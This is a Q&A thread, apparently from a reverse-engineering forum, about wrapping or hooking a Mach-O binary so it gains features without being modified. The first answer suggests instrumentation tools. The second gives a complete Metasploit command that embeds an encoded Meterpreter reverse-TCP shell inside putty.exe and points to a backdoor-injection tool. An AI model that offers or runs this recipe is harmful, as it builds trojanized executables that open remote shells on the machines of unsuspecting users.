Can one modify a program by "wrapping" its binary? What tools exist?

Question

(This question is related to How do I add functionality to an existing binary executable?).

I too would like to add functionality to an existing application, but I do not want to modify the original binary.

I imagine that, for some "well-behaved" compiled code, it ought to be possible to create a "wrapper" program that:

1. maps the original binary's segments into its own memory space; and
2. places its own redefined functions at the relevant addresses.

For example, suppose that loading the original binary would place void origfunction(int, int) at location 0x1234; my thought is that loading the wrapper might cause that function's machine code (from the original binary) to be loaded at 0x5678 with void newfunction(int, int) loaded at 0x1234 in its place. newfunction could then make a call to origfunction before/after performing its modifications.

Is this approach feasible? If not, why not?

If it is feasible, are there any tools that can assist in automating the generation of such a wrapper program? Generic answers would be most useful for future readers, but the original binary that I am working with right now is a fairly typical OS X one (Mach-O format, compiled from Objective-C).

Answer 1

Dynamic instrumentation tools like Frida or DynomoRIO are probably your best bet. Traditional code injection approaches like mach_inject on os x or detours on windows are things you could look into as well.

Answer 2

Some of the tools i know of:

1. Backdoor Factory: https://github.com/secretsquirrel/the-backdoor-factory

2. Use Metasploit msfencode:

   msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe

Backdoor Factory support a varity of binaries such as ELF, Mach-O, PE.